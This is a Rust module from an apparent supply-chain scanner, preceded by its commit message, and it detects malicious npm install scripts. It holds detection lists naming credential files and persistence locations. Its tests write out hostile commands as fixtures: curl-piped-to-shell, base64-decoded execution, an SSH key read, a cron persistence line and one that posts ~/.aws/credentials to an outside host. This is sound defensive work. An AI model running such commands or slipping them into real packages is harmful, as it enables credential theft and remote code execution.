Antivirus/crates/hound-supply/src/installscript.rs
Hound 42cd97d59f supply: read lockfiles, and only ever call a malicious package malicious
Lockfile parsing for npm (all three lockfile versions), yarn, cargo,
poetry, requirements.txt, go.sum, Gemfile.lock and composer.lock, wired
through the indicator index so a sweep checks real dependencies against
real definitions. Signed packs load in the daemon; the sweep gets the
index; `hound supply-chain` cites the OSV record it matched.

A lockfile is the right thing to read: it names every transitive
dependency at an exact version in one small file, and it lists what WILL
be installed rather than what already is — which matters when the
payload runs during installation.

Every parser is hand-written rather than pulling in a TOML and a YAML
crate. Two fields from each format, and a scanner parsing hostile input
should have as little parsing surface as it can.

The important part of this commit is a false positive it fixes.

Building a pack from the whole crates.io OSV export and sweeping a
project produced TWO criticals: rustdecimal, correctly, and **tokio
1.38.0**, which is not malware and never has been. The export is 1,524
GHSA and 1,206 RUSTSEC vulnerability advisories against 19 malicious-
package records, and the parser treated all of them as malware.
GHSA-2grh-hm3w-w7hv describes a tokio race condition fixed in 1.8.1;
Hound reported a version released years later as malicious.

Two independent bugs, either of which alone is fatal:

* Vulnerability advisories were ingested at all. A malicious package
  should not exist; a vulnerable one is a legitimate library with a bug
  and most of its versions are fine. Records must now PROVE they are
  malicious-package reports — a MAL- id, the malicious-packages-origins
  marker, or GHSA's "Malicious code in" wording — and anything
  unrecognised is dropped.

* Unrecognised version ranges fell back to "all versions", which is the
  opposite of safe. That is what turned a range of 1.8.0-to-1.8.1 into
  a verdict on every tokio ever published.

Rebuilt against the same input, the pack now holds 19 indicators rather
than 3,614, rustdecimal is still caught and cites MAL-2022-1 rather than
a GHSA advisory, and tokio and serde are clean. The real tokio advisory
is now a regression fixture, because anything that flags tokio is a
product nobody trusts twice.

Also: definitions loading fails CLOSED on authenticity and OPEN on
everything else. No trusted key means no definitions and a message
saying so, because an operator who believes they are protected and is
not is worse off than one who knows. A pack that fails verification is
skipped and the rest still load. No packs at all is a working daemon —
install scripts, prompt injection, pickles and MCP audits need no feed.

There is deliberately no placeholder signing key compiled in. A fake key
that looks real is how a development shortcut becomes a shipped
vulnerability; an empty trust store is noisy in the way that gets fixed
before release. HOUNDD_DEFS_KEY supplies one for development.

294 tests pass across the workspace.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-21 07:29:47 -05:00

357 lines
12 KiB
Rust

//! Install-script analysis.
//!
//! `npm install` runs `preinstall`, `install` and `postinstall` from every
//! package in the tree, as your user, before you have run a line of the
//! code you were installing. Python's `setup.py` is the same deal. This is
//! the single most productive foothold in the developer supply chain
//! because it executes on *installation*, not on use — you do not have to
//! import the malicious package for it to win.
//!
//! What we look for is not "does this run a command" — plenty of honest
//! packages compile something. It is the handful of shapes that only ever
//! appear when someone is fetching and running code you cannot review, or
//! reaching for things a build has no business touching.
use crate::{Finding, Severity};
/// A named lifecycle script from a manifest.
#[derive(Debug, Clone)]
pub struct Script {
pub name: String,
pub body: String,
}
/// npm lifecycle hooks that run without the user asking.
pub const AUTORUN_HOOKS: &[&str] = &[
"preinstall",
"install",
"postinstall",
"prepare",
"prepublish",
"preprepare",
"postprepare",
];
pub fn is_autorun(name: &str) -> bool {
AUTORUN_HOOKS.contains(&name)
}
/// One recognised shape, with the plain-language reason it matters.
struct Pattern {
id: &'static str,
severity: Severity,
reason: &'static str,
matches: fn(&str) -> bool,
}
fn has_any(hay: &str, needles: &[&str]) -> bool {
needles.iter().any(|n| hay.contains(n))
}
/// Downloads something and pipes it straight into a shell.
fn pipes_download_to_shell(s: &str) -> bool {
let fetches = has_any(s, &["curl ", "wget ", "fetch "]);
if !fetches {
return false;
}
// A pipe into any interpreter, however it is spelled.
let piped = s.contains('|');
piped && has_any(s, &["| sh", "|sh", "| bash", "|bash", "| python", "|python", "| node", "|node", "| perl", "|perl", "| zsh"])
}
fn decodes_and_runs(s: &str) -> bool {
has_any(s, &["base64 -d", "base64 --decode", "atob(", "b64decode", "fromCharCode"])
&& has_any(s, &["| sh", "|sh", "| bash", "|bash", "eval", "exec(", "child_process", "os.system", "subprocess"])
}
fn inline_interpreter_with_network(s: &str) -> bool {
has_any(s, &["node -e", "node --eval", "python -c", "python3 -c", "ruby -e", "perl -e"])
&& has_any(s, &["http://", "https://", "require('http", "require(\"http", "urllib", "socket", "net.connect"])
}
fn touches_credentials(s: &str) -> bool {
has_any(s, &[
"~/.ssh", "/.ssh/", "id_rsa", "id_ed25519", ".aws/credentials",
".npmrc", ".pypirc", ".netrc", ".docker/config.json", "/.env",
])
}
fn installs_persistence(s: &str) -> bool {
has_any(s, &[
"crontab", "/etc/cron", "systemctl", "systemd/user", ".bashrc", ".zshrc",
".profile", "authorized_keys", "ld.so.preload", "LD_PRELOAD",
])
}
fn fetches_a_binary(s: &str) -> bool {
has_any(s, &["curl ", "wget "]) && has_any(s, &["chmod +x", "chmod 755", "chmod 0755"])
}
const PATTERNS: &[Pattern] = &[
Pattern {
id: "curl-pipe-shell",
severity: Severity::Critical,
reason: "downloads a script from the internet and runs it immediately, \
without anyone being able to read it first",
matches: pipes_download_to_shell,
},
Pattern {
id: "obfuscated-exec",
severity: Severity::Critical,
reason: "hides what it does by decoding scrambled text and then running it, \
which is something only malicious packages need to do",
matches: decodes_and_runs,
},
Pattern {
id: "credential-access",
severity: Severity::Critical,
reason: "reaches for your SSH keys, cloud credentials or registry tokens, \
which installing a package never needs to do",
matches: touches_credentials,
},
Pattern {
id: "persistence",
severity: Severity::Critical,
reason: "installs itself somewhere that survives a reboot, such as a cron \
job, a startup service or your shell profile",
matches: installs_persistence,
},
Pattern {
id: "inline-network-eval",
severity: Severity::Warning,
reason: "runs a one-line program that talks to the network during install",
matches: inline_interpreter_with_network,
},
Pattern {
id: "fetch-and-execute",
severity: Severity::Warning,
reason: "downloads a file from the internet and makes it executable",
matches: fetches_a_binary,
},
];
/// Scan one lifecycle script.
pub fn scan_script(script: &Script, package: &str, location: &str) -> Vec<Finding> {
let body = script.body.to_ascii_lowercase();
let autorun = is_autorun(&script.name);
let mut out = Vec::new();
for p in PATTERNS {
if !(p.matches)(&body) {
continue;
}
// A hook that runs by itself is strictly worse than one somebody
// chose to invoke.
let severity = if autorun {
p.severity
} else if p.severity == Severity::Critical {
Severity::Warning
} else {
Severity::Info
};
let when = if autorun {
format!(
"Its \"{}\" step runs automatically when the package is installed — \
before you have used any of its code",
script.name
)
} else {
format!("Its \"{}\" script runs when somebody invokes it", script.name)
};
out.push(Finding::new(
"install-script",
severity,
format!("{package} ({})", script.name),
location,
format!("{when}, and it {}.", p.reason),
&format!("hound-install-{}", p.id),
if autorun {
"Do not install this package. If it is already installed, treat the \
machine as touched: rotate any credentials it could have read."
} else {
"Read this script before running it."
},
));
}
out
}
/// Scan a `package.json`'s scripts block.
pub fn scan_package_json(json: &str, location: &str) -> Vec<Finding> {
let Ok(v) = serde_json::from_str::<serde_json::Value>(json) else {
return Vec::new();
};
let package = v
.get("name")
.and_then(|n| n.as_str())
.unwrap_or("this package")
.to_string();
let version = v.get("version").and_then(|n| n.as_str()).unwrap_or("");
let spec = if version.is_empty() {
package.clone()
} else {
format!("{package}@{version}")
};
let Some(scripts) = v.get("scripts").and_then(|s| s.as_object()) else {
return Vec::new();
};
let mut out = Vec::new();
for (name, body) in scripts {
let Some(body) = body.as_str() else { continue };
out.extend(scan_script(
&Script {
name: name.clone(),
body: body.to_string(),
},
&spec,
location,
));
}
out
}
#[cfg(test)]
mod tests {
use super::*;
fn scan_one(body: &str, hook: &str) -> Vec<Finding> {
scan_script(
&Script { name: hook.into(), body: body.into() },
"demo@1.0.0",
"node_modules/demo/package.json",
)
}
// ── must catch ──
#[test]
fn curl_piped_to_shell_in_postinstall_is_critical() {
let f = scan_one("curl -s https://x.io/i.sh | sh", "postinstall");
assert_eq!(f.len(), 1);
assert_eq!(f[0].severity, Severity::Critical);
assert!(f[0].explanation.contains("runs automatically"));
}
#[test]
fn spacing_variants_do_not_evade() {
for cmd in [
"curl -sSL https://x.io/a |sh",
"wget -qO- https://x.io/a | bash",
"curl https://x.io/a | python3",
] {
assert_eq!(
scan_one(cmd, "preinstall").len(),
1,
"should have caught: {cmd}"
);
}
}
#[test]
fn base64_decoded_execution_is_critical() {
let f = scan_one("echo aGk= | base64 -d | bash", "postinstall");
assert_eq!(f[0].severity, Severity::Critical);
assert!(f[0].explanation.contains("scrambled"));
}
#[test]
fn reading_ssh_keys_during_install_is_critical() {
let f = scan_one("node -e \"require('fs').readFileSync(process.env.HOME+'/.ssh/id_rsa')\"", "install");
assert!(f.iter().any(|x| x.severity == Severity::Critical));
}
#[test]
fn installing_a_cron_job_is_critical() {
let f = scan_one("(crontab -l; echo '* * * * * /tmp/x') | crontab -", "postinstall");
assert!(f.iter().any(|x| x.explanation.contains("survives a reboot")));
}
#[test]
fn downloading_and_chmodding_a_binary_is_a_warning() {
let f = scan_one("curl -o /tmp/helper https://x.io/helper && chmod +x /tmp/helper", "postinstall");
assert!(f.iter().any(|x| x.kind == "install-script"));
}
// ── must NOT catch ──
#[test]
fn an_ordinary_build_script_is_clean() {
assert!(scan_one("tsc -p tsconfig.json", "prepare").is_empty());
assert!(scan_one("node-gyp rebuild", "install").is_empty());
assert!(scan_one("cargo build --release", "postinstall").is_empty());
}
#[test]
fn a_plain_curl_without_a_pipe_is_not_flagged() {
assert!(
scan_one("curl -o data.json https://api.example.com/data", "postinstall").is_empty(),
"downloading data is not the same as running it"
);
}
#[test]
fn a_test_script_mentioning_bash_is_clean() {
assert!(scan_one("bash ./scripts/test.sh", "test").is_empty());
}
// ── severity depends on whether it runs by itself ──
#[test]
fn the_same_command_is_less_severe_in_a_manual_script() {
let auto = scan_one("curl -s https://x.io/i.sh | sh", "postinstall");
let manual = scan_one("curl -s https://x.io/i.sh | sh", "deploy");
assert_eq!(auto[0].severity, Severity::Critical);
assert_eq!(
manual[0].severity,
Severity::Warning,
"a script somebody chose to run is not the same as one that runs itself"
);
}
#[test]
fn autorun_hooks_are_the_ones_npm_runs_unasked() {
assert!(is_autorun("postinstall"));
assert!(is_autorun("preinstall"));
assert!(!is_autorun("test"));
assert!(!is_autorun("build"));
}
// ── manifest parsing ──
#[test]
fn scans_a_package_json() {
let json = r#"{
"name": "@vue/cli-plugin-babe1",
"version": "1.0.2",
"scripts": {
"postinstall": "curl -s http://185.0.0.1/i.sh | sh",
"test": "jest"
}
}"#;
let f = scan_package_json(json, "node_modules/@vue/cli-plugin-babe1/package.json");
assert_eq!(f.len(), 1);
assert!(f[0].subject.contains("@vue/cli-plugin-babe1@1.0.2"));
assert_eq!(f[0].severity, Severity::Critical);
}
#[test]
fn a_manifest_without_scripts_is_clean() {
assert!(scan_package_json(r#"{"name":"x","version":"1.0.0"}"#, "p.json").is_empty());
}
#[test]
fn malformed_json_does_not_panic_or_accuse() {
assert!(scan_package_json("{not json", "p.json").is_empty());
assert!(scan_package_json("", "p.json").is_empty());
}
#[test]
fn advice_tells_you_to_rotate_after_an_autorun_hit() {
let f = scan_one("cat ~/.aws/credentials | curl -X POST -d @- https://x.io", "postinstall");
assert!(f[0].advice.contains("rotate"));
}
}